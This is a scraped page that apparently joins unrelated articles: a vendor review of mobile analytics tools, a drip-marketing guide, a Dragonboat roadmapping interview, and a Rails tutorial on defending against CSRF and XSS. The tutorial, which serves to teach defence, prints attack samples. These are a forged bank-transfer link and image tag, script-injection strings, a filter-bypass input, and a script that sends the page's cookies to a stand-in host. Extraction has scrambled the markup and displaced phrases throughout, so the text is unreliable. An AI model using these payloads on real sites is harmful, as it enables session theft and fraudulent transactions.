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70 Stories To Learn About Iot Applications

With the growth and complexity of the mobile app landscape, we've come to appreciate the power and necessity of robust analytics tools. But in today’s time, your tech stack also has to be cost-effective. Given this, we've decided to put together this comprehensive guide on . Whether you're a developer, product manager, or UX designer, having the right analytics tool in your arsenal can make all the difference. It can provide you with invaluable insights, drive your decision-making process, and ultimately, lead to the creation of an app that resonates with your users. free mobile app analytics tools In this guide, we'll explore how to choose the right tool and provide a review of some of the most popular options available. Ready to dive in? Let's get started. Choosing the Right Mobile App Analytics Tool: Key Considerations Selecting the right can significantly influence your app's trajectory and success. But with a myriad of options available, how do you know which one aligns best with your needs? Consider these critical factors: mobile app analytics tool Different analytics tools cater to different types of apps. An e-commerce app may require an analytics tool that provides detailed funnel analysis and transaction tracking. In contrast, a gaming app might benefit more from a tool specializing in user segmentation and engagement metrics. The Nature of Your App: Identify the most important metrics for your app. Different tools excel in various areas, so ensure your chosen tool can provide the metrics most pertinent to your app's performance and success. Key Metrics: Some analytics tools offer autocapture features, automatically collecting data on all user actions without requiring manual event tracking setup. This can save significant time and ensure you're not missing valuable data. Autocapture Capabilities: Given that we're talking about mobile app analytics, it's crucial to select a tool designed with a mobile-first mentality. This ensures that the tool's features, capabilities, and interfaces are optimized for mobile app analytics. Mobile-First Approach: In our data-sensitive world, choosing a tool that prioritizes security and privacy is paramount. Look for tools that comply with regulations like GDPR, and provide features that allow you to easily manage user data privacy. Security & Privacy: While quantitative data is critical, pay attention to the value of qualitative data. Tools that offer features like session replay and heatmaps can provide deeper insights into user behavior and experience. Qualitative Analytics: The simpler it is to integrate the tool with your app, the quicker you can start collecting and analyzing data. Consider your team's technical capabilities and the time you're willing to invest in setting up the tool. Ease of Integration: Real-time data can provide immediate insights into user behavior and app performance. This allows you to respond swiftly to any emerging issues or opportunities. Real-Time Data: As your app grows, your analytics tool needs to keep pace. Ensure the tool can scale to accommodate your business's growth and evolving needs. Scalability: Your budget will invariably play a role in your decision. Some tools are completely free, some offer free tiers with limited features, while others charge based on data events or the number of users. Consider both your budget and the value each tool offers. Cost: There's no one-size-fits-all solution when choosing a mobile app analytics tool. However, keeping these factors in mind will guide you toward a more informed and beneficial decision. Up next, we'll delve into some of the most popular mobile app analytics tools on the market today, analyzing their strengths and capabilities. Review of Key Free Mobile App Analytics Tools The tools we'll explore next are handpicked based on their reputation, features, and the value they provide to developers, marketers, and product managers. They each have unique strengths and weaknesses, and understanding these will help you choose the right tool for your needs. Review sites such as or are the source of the following insights. Trustradius G2 UXCam Founded in 2013, UXCam is a user behavior analytics tool designed to help you understand user behavior and improve your mobile app UX. It captures in-app interactions and provides qualitative and quantitative analytics to empower you to make data-informed decisions. Strengths and weaknesses Strengths Tagless Autocapture: This feature allows for the automation of data tracking, reducing the need for manual input and potentially minimizing error. Product Analytics: UXCam's product analytics provides a suite of tools designed to track and improve product success metrics in mobile apps. Key features include dashboards, funnel analytics, user journey tracking and event analytics. Experience (UX) Analytics: UXCam's experience analytics offers a set of qualitative analytics tools aimed at enhancing the user experience in mobile apps. The features include session replays to observe natural user behavior, heatmaps to visualize user habits and issue analytics to effectively resolve issues. Weaknesses Free plan limit: While UXCam is free to use, the is limited to 3,000 sessions, which makes it mostly useful to analyze session replays. free plan Lack of marketing attribution capabilities: UXCam lacks marketing-specific analytics data like campaign analysis. Doesn’t support Unity mobile apps: UXCam’s SDK doesn’t support 3D gaming apps. Who it’s best suited for Product managers and product teams in medium to large organizations. UXCam’s product and qualitative UX analytics make it especially useful for teams that need insights to inform product decisions. Find out more about UXCam here. Flurry Flurry is a mobile analytics platform founded in 2005. Flurry Analytics is a free-to-use service and has been widely popular due to its early presence in the mobile analytics field. Flurry was acquired by Yahoo! In 2014. Strengths and weaknesses Strengths Unique Retention Analysis: Flurry offers a rolling retention analysis. This provides a new and effective way to review app retention, which is not based on the actual day after install but overall days of use. Comprehensive Revenue Analysis: Flurry offers thorough revenue analysis options that allow users to dig into all the data they need. This can be particularly useful for businesses that need to track and optimize their revenue streams. Easy Integration and Excellent Documentation: Incorporating Flurry Analytics into an iOS app is straightforward. You just need to register your app, download the SDK, and incorporate the header and library into your project. Additionally, Flurry's documentation is very well written, providing several examples of the use of different method calls in code, which can make the integration process even easier for developers. Weaknesses No option to choose a timezone: Flurry lacks the option to select a specific timezone, making it challenging for users to compare data across different systems in other time zones. Inaccurate metrics and subpar Excel support: Some users have reported that certain metrics, such as link tracking, can be inaccurate. Additionally, Flurry's support for exporting data to Excel could be improved. Lack of support: Given that Flurry is free, Yahoo! Doesn’t invest a lot in a solid support structure. The only way to reach support is via e-mail, which can be slow to respond at times. Who it’s best suited for Founders of early-stage start-ups. Flurry is a solid analytics tool, which you’ll be happy with as long as you don’t need flexibility or customization. Find out more about Flurry here. Firebase Firebase is a mobile and web app development platform developed by Firebase Inc. in 2011, and was later acquired by Google in 2014. Firebase provides tools for tracking analytics, reporting and fixing app crashes, creating marketing and product experimentations, among other features. Strengths and weaknesses Strengths Comprehensive and Free Reporting: Firebase Analytics offers unlimited reporting of hundreds of events for free. It provides insight into app performance and allows monitoring of how users fulfill the events. Event-Based Data Model: Firebase uses an event-based data model, focusing on user completion of events. It allows registration of up to 50 custom event parameters and monitors every user action from the moment they open the app until the end, including updates, notifications, actions, etc. Integration and Compatibility: Firebase Analytics is compatible with all iOS, Android, and Unity setups. It also allows tracking and accommodating metrics with its 52 partners, including Google Ads, AdMob, Liftoff, and AdActive, enhancing its ability to improve user retention and engagement rates. Weaknesses No autocapture of user gestures: While Firebase autocaptures session and device properties, it does not capture gestures or frustration signals like e.g. UXCam does. No session replay: Firebase lacks a built-in session replay feature, which leads to less contextual user insights. No heatmaps: Additionally, Firebase doesn’t offer heatmaps, which is a quick way to visualize user behavior. Who it’s best suited for Developers and development teams in small to large organizations. Firebase offers a lot of features that are catered to developers - in addition to its analytics package you can also host data with Firebase. Find out more about Firebase here. Amplitude Amplitude is a product analytics platform that helps companies understand user behavior, allowing them to make data-driven decisions. It was founded in 2012 by Spenser Skates and Curtis Liu, two MIT graduates. Amplitude provides insights into user engagement, retention, and revenue using behavioral reports, user segmentation, and funnel analysis. Strengths and weaknesses Strengths Behavioral Analytics: Amplitude goes beyond basic metrics like monthly active users or screen views to reveal how engagement with your product impacts your main KPIs. It provides the necessary features to test which user actions lead to growth and success, contributing to increased retention, lifetime value, conversion rates, and revenue. Conversion Drivers: Amplitude's analysis tools help you understand your conversion paths better, particularly where drop-offs occur. Its "Conversion Drivers" feature works with the funnels that you set up, allowing you to see what your users or customers are doing between funnel steps. Collaboration and Integration: Amplitude prioritizes collaboration with features like "Team Spaces" for individual departments, teams, and projects, "TV Mode" for broadcasting dashboards across the organization, and the ability to share data and insights easily (e.g., via Slack). Weaknesses Limited Depth in Dashboard Customization: While Amplitude offers a variety of dashboard tools, users have reported that the platform lacks depth in its customization capabilities. Additionally, some users have found it less intuitive compared to competitors, requiring more training effort to fully utilize. Lack of Flexibility: Some users have expressed that Amplitude could be more flexible, both in its overall platform and in its ability to adapt to changing data structures. Difficulty in Data Import and Export: Users have reported that it can be challenging to move data in and out of Amplitude, which can limit the tool's effectiveness for companies that need to work with data across multiple platforms. Who it’s best suited for Analysts at organizations of all sizes. Amplitude’s strong point is its quantitative analytics, which allows you to deep dive into all details. Find out more about Amplitude here. Conclusion Each of these tools offers unique features and capabilities that can provide valuable insights into your app's performance and user behavior. However, and I might be biased because I work for UXCam, when it comes to a comprehensive understanding of user behavior, UXCam stands out with its robust features and user-centric approach to analytics. By combining both quantitative and qualitative data, delivers a holistic view of the user experience, enabling you to optimize your app based on precise, user-centric data. UXCam

Free Mobile App Analytics Tools: A Comprehensive Review

Herramientas gratuitas de análisis de aplicaciones móviles: una revisión exhaustiva

Outils d'analyse d'applications mobiles gratuits : un examen complet

मुफ़्त मोबाइल ऐप विश्लेषिकी उपकरण: एक व्यापक समीक्षा

無料のモバイルアプリ分析ツール: 包括的なレビュー

Ferramentas gratuitas de análise de aplicativos para dispositivos móveis: uma análise abrangente

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免费的移动应用分析工具：全面回顾

If you have not heard about a drip campaign, then you are probably wondering what it is and why you need one. The following article will discuss the main features of a drip campaign and how to use it to increase your conversion rate. Read on to discover how this marketing strategy works and why you need one. Hopefully, you'll gain enough knowledge to create your own successful drip campaign. And remember, your success depends on your marketing strategy, so make sure you're using it correctly! Drip Campaign A Drip Campaign can increase the chances that your prospects will open your emails and invest in your brand's ongoing relationship. This technique can boost your email open rate and convert more prospects into buyers. Drip campaigns are easy to create and measure. You can track metrics like the number of unsubscribes or the number of follow-up emails sent. Your drip emails should be useful and not annoying. Here are some tips to help you set up your drip campaigns. An abandoned cart email can remind users of the products they have in their shopping cart. If you can offer a discount code, this email can boost sales. Research shows that 72% of users return to purchase within 24 hours, so your abandoned cart emails should be compelling. You can also use a Drip Campaign after a sale to ask customers to review your product or service, or offer them a discount code for future purchases. By following up with your customers in a consistent, timely manner, you can increase your sales and build a loyal customer base. What Is Drip Marketing? Drip marketing is an automated email campaign that is sent to customers based on a specific trigger. This trigger can be any action (or inaction) that triggers a certain email. For example, if a customer had abandoned their cart, the email would not be addressed to a newly subscribed customer. In addition, drip campaigns can be customized to send targeted messages to a variety of demographics, from bargain hunters to brand loyalists. Drip marketing works by exposing consumers to the same message over a prolonged period of time. By sending out several emails to a group of people at the same time, marketers anticipate that some of them will make a purchase. This method is much easier to implement than manually calling every consumer who shows interest in a product. Drip marketing also works by cultivating trust between a company and its customers. And it works for virtually any type of business, from e-commerce websites to brick-and-mortar stores. When used properly, drip marketing campaigns can boost conversion rates and engagement. There are several benefits to drip campaigns that can be customized for any industry. If done correctly, drip campaigns can significantly boost your business over a year. With the right design, drip campaigns can improve your business' consistency and can boost conversions. They're also highly effective for reducing unsubscribes. So, how do you create a drip campaign that works for your business? Why Use Drip Campaigns? The first step in developing a drip campaign is segmenting your email list. Make sure you segment your email lists properly to get the maximum response. Then, craft your messages with relevant information for each segment. You should be consistent in your tone and message and ensure that each email matches your brand. Finally, measure your campaign's effectiveness to see if it's generating the desired results. It depends on your audience and other factors, so make sure to track your campaign's performance. A well-designed drip campaign can turn a visitor into a buyer. It keeps customers engaged by delivering relevant content at the right time. It helps you reinforce your company value by creating a relationship with your customers. It can be highly targeted, since it remembers previous actions. You can send emails to your subscribers with relevant information, such as product training details and special offers. This personalized approach also enables you to tailor your messages to your prospects' individual preferences and interests. How Drip Campaigns Are Used A drip campaign is an strategy that is often based on automation to create a predictable flow of communication with a target audience. This approach is aimed at creating regular growth, and it is highly effective because it requires less work from the sender than a conventional email marketing campaign. This method of email marketing is also much more effective than other methods, such as retargeting, which requires constant manual effort. Moreover, drip campaigns are effective because they automate themselves, meaning that you can focus on other aspects of your business that may not be as urgent. email marketing The first step in creating a drip campaign is to target your email list based on what each customer has done in your website. You can do this by creating groups based on frequency, clicks, and user behavior. A well-designed drip campaign is easier to execute when you have specific goals. You can set goals based on the SMART method, which stands for specific, measurable, attainable, relevant, and time-based. How To Set Up A Drip Campaign Drip campaigns are useful if you want to create an automated response to a customer's action. You can follow up with an offer for a video overview, eBook, or product demonstration based on the actions of the customer. Drip campaigns can be set up to deliver emails at specific intervals. If the customer reaches the decision-making phase, you can send them faster responses. When your customer responds to your offers, your drip campaign will end. When creating a drip campaign, be sure to include a few emails that tie together nicely. While you don't want your subscribers to get annoyed with your emails, make sure that each email is a welcome one. It also helps if you add a link in the email to encourage the reader to follow you on social media. You may also want to include a link to follow you on Instagram, so that your subscribers know that you are active on social media. Drip Campaign Example In order to convert your into a paying customer, use a Drip campaign. Drip emails are an effective way to nurture your list. The first two emails should contain important information and useful tips for your subscriber, such as how to use your product. Afterwards, follow-up with a promotional offer, a review of your product, and a call to action. In this way, you will develop a relationship with your subscribers and increase the chances of generating a sale. lead Once you've crafted your first email, you can start defining your target audience. Knowing your audience will help you craft more personalized emails and learn about their behaviors and triggers. Next, segment your email list and define your goals. A well-defined goal will guide your drip campaign design. Clearly define your objectives before you begin creating your first email. Remember, your subscribers will only read emails that are relevant to them. Don't forget to include any other goals you have in mind for your list. Drip Campaign Misconceptions Many business owners are skeptical about drip campaigns, but there are a few common misconceptions about the process. There is a lot of money involved, but drip marketing is worth the cost. It will also give you the ability to track your campaign's success. You can also use it to track your sales. Drip campaigns are smart ways to engage your audience. They are a smart way to build a rapport with prospects while building brand recall. Conclusion Regardless of your marketing strategy, drip campaigns are a great way to build relationships with your prospects. This technique is also known as lead nurturing. It is used to offer relevant information to a lead, and to help them decide to make a purchase. Other types of drip campaigns include educational drips, re-engagement drips, and promotional drips. The latter type targets leads of competing brands and is a great way to win back cold leads. Training drips include how-to articles for new customers. A drip campaign is a continuous series of emails that target a specific group of people, usually at a time that is convenient for the recipient. For example, if the prospect opens a cold email and clicks through to your website, the drip campaign will automatically send them a thank-you email, encouraging them to sign up for a free trial, or take a survey. This keeps your brand in front of your prospects until they decide to make a purchase.

Picture Your DRIP MARKETING On Top: Read This And Make It So

Imagine this… You’re a new product operations manager joining a company that’s reached product-market fit, has a few product managers, and a brand new Chief Product Officer who wants to move away from feature-based roadmapping to outcome-driven roadmaps. You’ve read Marty Cagan’s books, “Inspired” and “Empowered” and are now trying to figure out how to make the switch from product management to portfolio management. Your goal is to empower your product organization to become truly outcome-focused. Sound familiar? At Dragonboat, we’ve first-handedly led the scaling of multiple startups into unicorns and have been working with many teams to support their journey from feature-focused roadmapping to outcome-driven roadmapping, an important aspect of responsive product portfolio management. In this post, we’ll share a summarized version of a recent conversation between Dragonboat CEO, Becky Flint, and a new product operations manager and product manager (both work in a new scaling company like the one mentioned above). Read on for Becky’s practical advice on getting started with outcome-driven roadmaps. Q: How do outcome-driven roadmaps differ from feature roadmaps? Becky Flint: Typically, product managers have a product backlog of ways they think a product could improve based on customer feedback, market insights, and so on. This practice is okay. At some point, Product Managers were taught that you should always have a well-groomed, prioritized backlog. Sounds good, but that’s the opposite of an outcome-focused approach. The reason is that when you groom the list of features you want to build, you’ve already decided on some sort of priority. However, as the business, customer, and market evolve, the way you define priority should also evolve, right? Feature roadmapping adopts a predefined prioritization method, not responsive to the goals and needs of the company or market. Outcome-based roadmapping adjusts priority and focus based on the business and market needs. For example, let’s say you’re a company whose first product is doing really well and people are adopting it in droves. Great! In this case, you’re going to naturally gather a lot of feedback from your customers. You start to collect this feedback and create a roadmap based on it, according to how many people mentioned certain challenges and issues, etc. This all seems great, right? At first, yes, but I’d argue this is not the best way to define your roadmap. A roadmap based primarily on customer requests is an example of a feature roadmap because it often leads to focusing on the superficial level of customer needs and wants and you create features to solve them on an incremental level. Whereas, outcome-driven roadmaps differ because they originate from a higher level of needs (goals). To explain, first, let’s take a step back. For example, an executive will look at the product focus in a different time horizon than a director or product manager. So from the perspective of the company, you might say, “Okay, if we’re starting fresh this year, what’s the area we’re going to focus on?” The board, investors, and the finance team will come in and propose a business goal such as, “We need to grow 100% YoY.” The next question is then, “How do we achieve that growth?” The outcome-driven roadmap will be the product team’s answer to that question, throughout the year or quarter. At the highest level, outcome-driven roadmaps derive from a strategy that’s in alignment with the overarching goals of the company. Product-led organizations are abandoning feature-based roadmaps because they can result in teams delivering a faster horse. Instead, they want to achieve market-leading innovation via outcome-focused roadmaps that follow the responsive product portfolio management framework. It’s not to say that customer insight isn’t important. It’s critical to create products that solve customer needs, but be careful when collecting feedback. There can be a self-selection bias in the feedback because only some of the customers like to give feedback. We learned to let customers show us what they are doing instead of what some are telling, by analyzing user behavior in a variety of qualitative and quantitative ways. Q: What are the steps to build an outcome-driven roadmap? Becky Flint: In an outcome-focused company, the executive team will conduct periodic , resulting in company-wide OKRs. In these sessions, the leaders  may ask, “If we’re going to grow revenue 80% YoY, what are the key buckets we need to fill?” strategic product planning sessions Then, the team sets key results to help reach that objective. For example: Grow new customer revenue by X% Expand existing customer revenue by Y% Launch a new service In a strategic planning session, you take the business goals (objectives) and turn them into strategic goals (key results), which provide more detail on how you plan to achieve them. This level of alignment must begin at the executive level. During your own strategic planning, look at all your goals and conduct a SWOT analysis wherein you identify your company’s strengths and weaknesses, as well as the market; what opportunities and threats exist today. Based on that analysis, seeing where the company currently stands and where it wants to be in one year, let’s say, in terms of growing revenue, the next step would be to generate a list of BIG initiatives or “big rocks” to potentially undertake. Remaining at the executive level, it’s time to then narrow it down to no more than five to six “big rocks.” Even giant companies like eBay limit themselves to no more than six because the whole organization is going to be moved by them. These five or six “big rocks” are the strategic goals aka outcomes that your organization must produce. Ultimately, being outcome-focused implies starting with top-level strategic goals which become a set of actions that translate to strategic goals for the level below. Read more about the . rock, pebble, and sand product management approach Q: Should features in our product backlog link back to a specific outcome? Becky Flint: Features can come from your known backlog, when they tie to known pain points to solve. So you can take a problem area, for example, feature adoption, and your goal could be to increase the adoption rate by 30%. And you say, “Okay, where are the problems related to feature adoption?” Then you prioritize your backlog items into that. Today, teams that use feature roadmaps very rarely state the desired outcome of a new feature explicitly, yet this is important to communicate with stakeholders. Essentially, you have to ask, “Which are the things we want to solve first? What is the worst pain point or the most valuable improvement we could make?” and then prioritize your backlog items towards the answers to those questions. Your prioritization method or framework needs to be highly related to the goals that matter for that specific roadmap. If your main pain point is feature adoption speed, then you know not to focus on customer referrals at this point because users need to adopt the feature quickly and be happy with it before they refer it to others. Therefore, looking towards the next quarter, if your aim is to drive feature adoption, you can look at all the things that the team could do, including the things that have already come up. Move those items up on the roadmap, ship them, then measure their impact on feature adoption. If those changes moved the needle enough and drove those metrics, then the team can focus on driving referrals next. While you don’t have to do just one or the other, it’s important to be primarily focused on one. That way, from a product operations perspective, you have a dashboard and you can work across multiple teams because all outcome-driven roadmaps depend on cross-team collaboration. Q: Once we have outcome-driven roadmaps, in what way and how often should we communicate them to stakeholders? Becky Flint: In an outcome-focused product team, the communication, or rather, engagement, with stakeholders should be bi-directional and frequent. There are different types of engagement. For example at semi-annual strategic alignment, the engagement and communication are around goals and strategies at the executive level. And then on a quarterly or bi-monthly basis, sort of the mid-range for alignment, the communication and engagement is around reviewing their annual or semi-annual goals, and then adjusting the quarterly focus. And then there are also bi-weekly or weekly product operations reviews or roadmap updates, which are mostly around the product team itself. They look at their metrics, KPIs, goals, progress against the roadmap, etc. The product team may also have a bi-weekly read-out interaction with other cross-functional teams like sales and customer success. This does not need to be a meeting. It can be just a refresher of the point in time state of the product portfolio. A tool like Dragonboat can help with by creating a central source of truth for data to be accessible and referred to in real-time. stakeholder engagement If the function exists, product operations designs and orchestrates the product rhythm, from annual/ semi-annual strategic planning to quarterly alignment, and bi-weekly or weekly ops reviews and stakeholder engagement. Q: How can outcome-driven roadmaps make our product managers’ lives easier? Becky Flint: Outcome-driven roadmaps make it easy for non-product managers to understand why one feature is prioritized higher than another. When communicating with stakeholders, product managers may use scores like RICE (reach, impact, confidence and effort) or other scoring systems. But these terms and numbers in the scores are hard to understand. When speaking about the roadmap in terms of business objectives, it becomes more tangible, everyone can understand the same language. Product managers will say, “We’re going to aim towards greater feature adoption because that will help us to grow faster,” rather than something like, “Feature A will have a 25% larger button.” There are often multiple teams involved to drive a desired business outcome. With an outcome-focused roadmapping practice, not only do you build an outcome-focused product organization, you build a collaborative organization. Q: How often do you suggest refocusing across team roadmaps? Becky Flint: Outcome-focused roadmapping by definition needs to be adjusted periodically. How often depends on how often you can measure the impact of your new product releases. Speaking generally, there are : three types of outcome velocity for example, a growth roadmap is often filled with quick experiments like A/B tests. This type of roadmap obviously changes very fast, because as soon as you release something to production, you can measure the outcome. You can then use that information to inform the next decision. Fast to result, for example, platform work, refactors, etc. It takes a long time to build and may or may not be immediately measurable in a meaningful way. Slow to measure, And then the third type of roadmap is . You might ship something in a month or two, but it doesn’t immediately hit customers. This happens especially if you’re in B2B where you need to get users to adopt it and then get relevant metrics. So, in this case, it will take longer. somewhere in the middle The frequency with which you refocus your roadmap depends on how quickly you can measure the change in the outcome metrics. That’s why, for most B2B companies, quarterly roadmap alignment becomes more common because they release something maybe once or twice a month, and then it takes a couple of months to really see the impact. Q: Do you have any tips on making the change to being outcome-focused stick? Becky Flint: There are three things that teams need in order to pull off the transition to being outcome-focused. – in many cases, that could be the Chief Product Officer. They were most likely brought on to scale and take the product org to the next level. This is often when the Product Ops role is introduced to help product teams scale effectively. Find someone to act as a change agent – make outcome-focused roadmapping part of a responsive product portfolio practice. Product is a product. Have a vision, roll out gradually, and update as needed. A common path is to start with mapping initiative to OKRs, then expand to cross-portfolio dependency mapping, then portfolio allocations, and then closing the loop with outcomes fed back to planning. Plan an agile rollout – rather than starting with homegrown spreadsheets, find a tool that has the process and framework baked in. Use the right tool to complement the process Adopt the right outcome-focused roadmapping / ppm tool along with your process change because the tool will facilitate and reinforce the change and provide visibility on improvements needed. For example, imagine you want to transition your team from waterfall to agile by using sticky notes or spreadsheets. It would be very hard. But if you say, “Hey, here is agile and scrum 101, and here’s Jira. Let’s use it as we transition to agile development.” Then, you’ve already made some progress in the right direction just by starting to use Jira with its structure built for agile development. Are you making the switch from feature roadmaps to outcome-driven roadmaps? What other advice would you give? Let us know, tweet us at ! @dragonboat_io Dragonboat is a product portfolio management tool that helps product leaders steer outcome-focused product organizations by connecting goals, customers, initiatives, resources and execution in one integrated platform. Dragonboat enables product portfolio management best practices and takes only 15 minutes to get set up – no need to change your engineering process. Sign up for a or . free trial book a demo

Switch from Feature Roadmapping to Outcome-Driven Roadmaps

“…3,813 breaches were reported through June 30, 2019, exposing over 4.1 billion records. Compared to the midyear of 2018, the number of reported breaches was up 54% and the number of exposed records was up 52%”. - Source, RiskBasedSecurity Quite an alarming report right? Well, one can be certain that figure isn’t going down, on the contrary, the turned out to be more nerve-racking. This undoubtedly emphasizes the need to develop secure rails web applications. closing security report of 2019 In this article, we will discuss the various attack methods that make your rails app vulnerable to Cross-Site Request Forgery(CSRF) and Cross-Site Scripting(XSS) exploits and profer ways to remove these points of attack. But before going any further it would be nice to understand the differences between CSRF and XSS exploits. The fundamental difference between both lies in the fact that CSRF occurs in an authenticated session when there is an existing browser-server trust, while XSS is a form of injection attack that doesn’t require authentication and happens when the proper measures were not made on the backend to validate or escape inputted values this form of attack gives the attacker direct access to all elements on the page; now that’s scary. Alright, this might be a bit tough to understand for some of us so let me give scenarios of CSRF and XSS exploits to properly drive home the point. For CSRF, consider this example: Anna just logged into her banking account on her laptop and after carrying out a transaction forgets to log out and then she accesses Facebook on her mobile phone through the same browser(remember cookies can be synced across devices). Now a scrupulous attacker X has embedded a malicious link on her Facebook page either into another seemingly harmless link this way: Like Post < = > a href "http://yourbanksite.com/transerfunds.do?fromacct=youracct&toacct=attackers_account&amt=10000&cur=usd" </ > a or inserts it in a blank or zero-byte image this way: < = > img src "http://yourbanksite.com/transerfunds.do?fromacct=youracct&toacct=attackers_account&amt=10000&cur=usd" Now, say our fictitious Anna accidentally clicks on this link, oh my too bad, in the background a transfer can be initiated and completed even though she only just clicked from her phone browser. Well, not to worry most web apps have mechanisms to prevent this if the developer does the homework. Now to XSS, remember we learned XSS has to do with JavaScript execution, so consider another scenario: Dave just got back from work decided to check online to get the latest update from his favorite blog, so he gets his phone clicks the bookmarked blog link and reads through a few articles, but on a particular article page he notices an advertisement, seems quite suspicious but well this is his trusted blog they won’t showcase a mischievous advert right? So he clicks the advert and is redirected to a site that seems quite legitimate and asks for some confidential information from him to proceed, so he inputs these and moments later an unscrupulous attacker at the other end now has some personal information on Dave. Woah that happened fast but let’s retrace our steps to ascertain what happened there. What had happened was the unscrupulous attacker must have injected some code into Dave’s favorite blog app through a vulnerable entry point and through that point the web app saves the code and displays it on a page, which was later presented to Dave. Now granted this is unnerving but Dave wouldn’t have succumbed to this vulnerability if the proper steps to eliminate this vulnerability had been taken beforehand, but let’s not forget Anna too we would first discuss her vulnerability Cross-Site Request Forgery(CSRF) and marshal out steps with which it could have been avoided, then we will scoot over to talk about Dave’s vulnerability Cross-Site-Scripting(XSS) too, wouldn’t want to forget him. Cross-Site Request Forgery(CSRF) Vulnerability * Eliminating Vulnerability — Using the default method As a rails developer, you get CSRF protection starting with just one line of code in your This has been in rails for quite a while now and comes bundles as the default for newly created Rails applications: application_controller.rb. protect_from_forgery : :exception with Then there’s another single line of code in your application.html.erb: <%= csrf_meta_tags %> What this does is that it automatically includes a security token in all forms and Ajax requests generated by Rails. If the security token doesn’t match what was expected on the server-side, an exception will be thrown. Hey not so fast, because that’s not all. Now web requests are divided into two main types — GET and POST(DELETE, PUT and PATCH which are somewhat like POST). But why are we talking about web requests, does that have anything to do with web security? Well, that’s because a seemingly harmless GET request can be re-engineered into a harmful post request. The (W3C) has a sort of checklist for if you get confused in choosing between a GET and POST request. Here it is: World Wide Web Consortium : For a GET, before using ask Is the request a question, is it simply a query like a read operation or lookup operation? For a POST, before using ask: Is the request more like issuing a command? Would the request change the state of the receiving end in such a way that the end-user would know there’s been a change? Would the user be responsible for any action she/he takes during the interaction? Now anyone of the above questions that checks out would be instrumental in helping you decide between a GET or POST request. Injecting a malicious script into any HTML tag comes is possible, and it can be linked to an event-listener like a click event or mouseover event. Think of an attacker creating a form dynamically and submitting this form when you click on a link or simply when you mouseover an image. To protect against this form of attack all cross-site script tags need to be disallowed. But do you know it’s not possible to distinguish between a tag’s origin? Yea, it isn’t that’s why it’s safer to simply block all scripts generated through controllers. This doesn’t include because they obey the browser’s same-origin policy, so it’s safe for an Ajax request to return Javascript response but with a security token on every non-GET Ajax call. <script> Ajax requests But say you have an external library you integrated into your rails application, and this library makes non-get Ajax calls, it would be necessary to add this security token as a default header. This is because as we mentioned before dues to the To extract the token check the tag printed by which you can simply find in a form element in your application view protect_from_forgery… code added to the application controller rails by default would block all non-GET Ajax calls. <meta name=‘csrf-token’ content= ‘Token Here’> <%= csrf_meta_tags %> . Now, this is just for CSRF vulnerability, but guess what, cross-site scripting (XSS) vulnerability gets over all and any CSRF protection you may have in place, oh my! We should talk about it now, right? Cross-Site Scripting (XSS) Vulnerability It is quite necessary to give some additional background info because XSS vulnerability is quite challenging to deal with. 1. Points of Entry There are quite a few entry points that pose a threat but they all fall under the single category of a and its parameters. But what do we mean by the term parameters in this context, well think about the way rails work for a second? Let’s take an example, so you have a rails form; it takes user inputs and sends these input values to the destination controller when the user hits the send button. Well, those input values are called the form’s parameters, and the link that existed on the send button might be a vulnerable URL as an example. Now, form inputs could exist through various formats on a webpage; these range from search result pages, user comments field, message sending forms to just about anywhere a user can input data. This also includes any URL parameter even though hidden. vulnerable URL The common XSS language is Javascript and it can be run in quite a few places that might seem strange like here: < = > img src "javascript:alert('Hello')" or here: <script> .write( + .cookie + ; document 'img src="http://www.harmful.com/' document '">' </ > script Now that last example is worrisome, let me walk you through what it does. First there would show the cookie content of the webpage you are on. While simply creates an image but makes the image’s source tag that of the attacker’s URL which has been joined to the cookie content of the page. But there is no harm there, after all, it would simply write an image to the page, right? Nope, the real danger is what happens when the browser tries accessing that image through the source tag. It displays nothing on the user end but the attacker can go check their server’s access logs files and guess what will be there — the victim’s cookie content. document.cookie document.write 2. Deploying Countermeasures In discussing the points of entry for XSS we said virtually any place the user can input data is a vulnerable entry point. Therefore, it would be agreeable to remove this vulnerability by filtering input from these sources. To filter input it is advisable to do permitted input filtering as against restricted lists. We would explain permitted filtering later on but let’s get a grasp on restricted lists and why it’s not advisable to use. Now, the restricted list approach was what earlier versions of rails used and it has three methods; strip_tags(), strip_links(), and sanitize() methods. So say you want to use the strip_tags() method to ensure the “script” tag doesn’t pass through. Here’s an example: 2.1 Filtering malicious input You have a restricted tag lists that allow every tag but deletes the word “script” from the input value. Seems nice, but what if the attacker goes ahead and uses something like this: "some<<b>script>alert('hacked')<</b>/script>" So using the script_tag() method you’ve set beforehand your app goes ahead and filters this giving a return value: script_tags( ) "some<<b>script>alert('hacked')<</b>/script>" //=> "some<script>alert('hacked')</script>" Now that return value above would make an attack possible. Hence the reason why a permitted list approach is far safer. The permitted list approach uses the updated Rails sanitize() method, and as the norm, we will explain with another example: You have an app with users, and now in a bid to make new users feel more welcome, you decide to allow them to include a link to their blog in a user-blog input field, so other users can access it. That’s nice right, especially since you trust them not to do anything malicious with this new power you’ve given them. So, you collect this input and output it using so the link is readily clickable: html_safe method User Blog: < > p < > strong </ > strong < @ %> %= user.blog.html_safe </ > p It’s all good for a while until a particular user decides to be more adventurous and inputs this in the user-blog field: <script>alert( )< "hacked" /script> And now when you or other users view their page guess what will appear — a javascript alert block with the content “hacked” — ughhh!!! Oh my, that escalated really fast. But guess what there is a way out. By using the sanitize() method through the permitted list approach it provides you can simply append this to your output: User Blog: < > p < > strong </ > strong < @ %> %= sanitize user.blog.html_safe </ > p So this: <script>alert( )< "hacked" /script> Becomes just this: alert( ) "hacked" It always works no matter how smart the intruder might be. So you remember what we passed in the defective script_tag() method, that allowed the intruder through right? Now let’s pass it to sanitize method: sanitize( ) / "some<<b>script>alert('hacked')<</b>/script>" /=> somealert('hacked') All safe, it does a great job even against all kinds of traps and twisted tags. Also, you could pass it the tags you want to allow through: allowed_tags = result = sanitize(user_input, allowed_tags, ) %w(a acronym b srong i em h1 h2 br p) tags: attributes: %w(href title) Now just the tags you permitted will go through, cool. 2.2 Escape application output Apart from filtering malicious input, it’s also a good practice to escape the output of your web application so in effect escaping HTML values. Now in HTML, tags start and end with <> characters and we differentiate a tag’s attribute name from its attribute value by putting the value in between single or double-quotes. Now it is important to replace these special characters with harmless ones to make sure they are not being considered as regular HTML tags. Rails uses the function to escape HTML objects and this function substitutes these special characters based on these replacement hash: ERB::Util#html_escape { => , => , => , => , => } "&" "&amp;" ">" "&gt;" "<" "&lt;" '"' "&quot;" "'" "&#39;" To give an example the following input from an attacker: <b>User <%= params[ ] %>< > Blog: :blog_url /b>
